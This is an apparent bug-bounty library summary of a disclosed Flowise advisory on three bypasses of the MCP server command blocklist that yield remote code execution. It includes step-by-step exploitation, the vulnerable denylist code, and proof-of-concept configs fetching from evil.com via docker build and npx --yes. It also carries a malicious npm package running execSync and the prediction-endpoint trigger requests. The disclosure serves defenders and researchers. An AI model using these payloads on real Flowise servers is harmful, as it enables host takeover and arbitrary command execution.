# Flowise has an MCP Security Bypass that Enables RCE

Three blocklist bypasses in Flowise MCP config (docker build, npx --yes, node //path) let any authenticated user run arbitrary commands on the server.

- Payout: Research
- Severity: high
- Program: Flowise
- Found by: cn-panda
- Disclosed: 2026-05-14
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-m99r-2hxc-cp3q
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-m99r-2hxc-cp3q
- Tags: area:ai domain:ai domain:web impact:rce kind:research platform:ghsa sev:high tech:docker tech:nodejs technique:source-review vuln:access-control vuln:command-injection vuln:misconfiguration vuln:rce

**Target:** MCP Custom Server node command/args validation (packages/components/nodes/tools/MCP/core.ts)
**Root cause:** validateCommandFlags uses incomplete per-command blacklists (docker build/pull/push/cp/commit not listed, npx only blocks -y not --yes) and validateArgsForLocalFileAccess regex /^\/[^/]/ misses paths starting with //, so attacker-controlled command/args reach child_process execution.
**Steps:**
1. Authenticate to Flowise (any role) or hold an API key with view&update on chatflows.
2. Create/update a chatflow with a Custom MCP node config, e.g. `{"command":"docker","args":["build","https://evil.com/"]}` or `{"command":"npx","args":["--yes","http://evil.com/FileName.tar"]}`.
3. For the node variant: upload cmd.js via chatflow save (lands in ~/.flowise/storage/{orgId}/{chatflow_id}/), leak orgId/chatflow_id via login and save responses, then obtain absolute path via `POST /api/v1/export-import/import` with a ChatMessage fileUploads entry and `POST /api/v1/export-import/chatflow-messages` `{"chatflowId":"{chatflow_id}"}`.
4. Set args to `["//root/.flowise/storage/{orgId}/{chatflow_id}/cmd.js"]` to bypass the /^\/[^/]/ regex.
5. Trigger execution with `POST /api/v1/prediction/{chatflows_id}` body `{"question": "1"}`.
**How found:** Code review of the MCP command validation: noticed the docker blacklist omits build/pull/push/cp/commit, the npx list only has short flag -y without --yes, and the local-file regex /^\/[^/]/ fails on //-prefixed paths; then built end-to-end PoCs for each.
**Exploitation:** Attacker with any Flowise account or chatflow API key stores a malicious MCP server config; triggering the chatflow prediction endpoint spawns the configured command. docker build pulls an attacker Dockerfile and runs RUN instructions (container escape via mounts if privileged); npx --yes installs and executes an attacker npm tarball; node executes an uploaded JS file via //-prefixed absolute path. All yield arbitrary command execution on the Flowise host.
**Escalation:** docker build with privileged container deployment allows full host takeover via mount escape; otherwise RCE as the Flowise process user.
**Insight:** When a denylist gates subprocess execution, enumerate the full subcommand/flag surface of each allowed binary (docker build/pull, npx long aliases) and test regex path guards with doubled separators (//, \\) that normalize to the same absolute path.

## Proof of concept (copied exactly from the original report)

**Docker build bypass MCP config and trigger request**

```
{"command":"docker","args":["build","https://evil.com/"]} as the Custom MCP Server configuration 
→ Bypass the validateCommandFlags docker blocklist (only blocks run/exec/-v/--volume, etc., but does not block build)
→ docker build <remote-URL> will pull the Dockerfile from the remote address and execute the RUN instructions within it
→ Allows attackers to escape from Docker through methods such as mounting, thereby gaining full control of the Flowise host machine 

Precondition: 
1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows
2. The deployment environment has the docker command

Vulnerable function - validateCommandFlags: 

file: packages/components/nodes/tools/MCP/core.ts:260-310

const COMMAND_FLAG_BLACKLIST: Record<string, string[]> = {
    docker: [
        'run', 'exec', '-v', '--volume', '--privileged', '--cap-add',
        '--security-opt', '--network', '--pid', '--ipc'
        //  'build', 'pull', 'push', 'cp', 'commit' are not on the blocklist 
    ],
    npx: ['-c', '--call', '--shell-auto-fallback', '-y'],
    npm: ['run', 'exec', 'install', '--prefix', '-g', '--global', 'publish', 'adduser', 'login'],
    // ...
}
export function validateCommandFlags(command: string, args: string[]): ValidationResult {
    const blacklist = COMMAND_FLAG_BLACKLIST[command] || []
    for (const arg of args) {
        if (blacklist.includes(arg)) {
            return { valid: false, error: `Argument '${arg}' is not allowed for command '${command}'` }
        }
    }
    return { valid: true }
}

Reproduction process:

Add MCP config via UI or API interface, for example: 

<img width="1280" height="414" alt="2f0b6dfad5458616781921e1c28339d0" src="https://github.com/user-attachments/assets/6c8419c5-6261-46bb-8a30-3ac1ec3fb599" />

Then execute: 

POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17

{"question": "1"}
```

**npx --yes malicious package tar payload**

```
{
  "command": "npx",
  "args":["--yes", "http://evil.com/FileName.tar"]
}

Contents of the tar file:

// index.js
#!/usr/bin/env node
const http = require('http');
const { execSync } = require('child_process');

const result = execSync('id && hostname').toString().trim();
console.error('[MCP-RCE-002] npx --yes bypass: ' + result);

// package.json
{
  "name": "attacker-mcp-pkg",
  "version": "1.0.0",
  "bin": {
    "attacker-mcp-pkg": "./index.js"
  },
  "scripts": {
    "postinstall": ""
  }
}
Then execute: 

POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17

{"question": "1"}
```

**node // path bypass RCE config**

```
{
    "command": "node",
    "args": ["//root/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js"]
  }

After saving, execution will trigger RCE 


POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17

{"question": "1"}
```

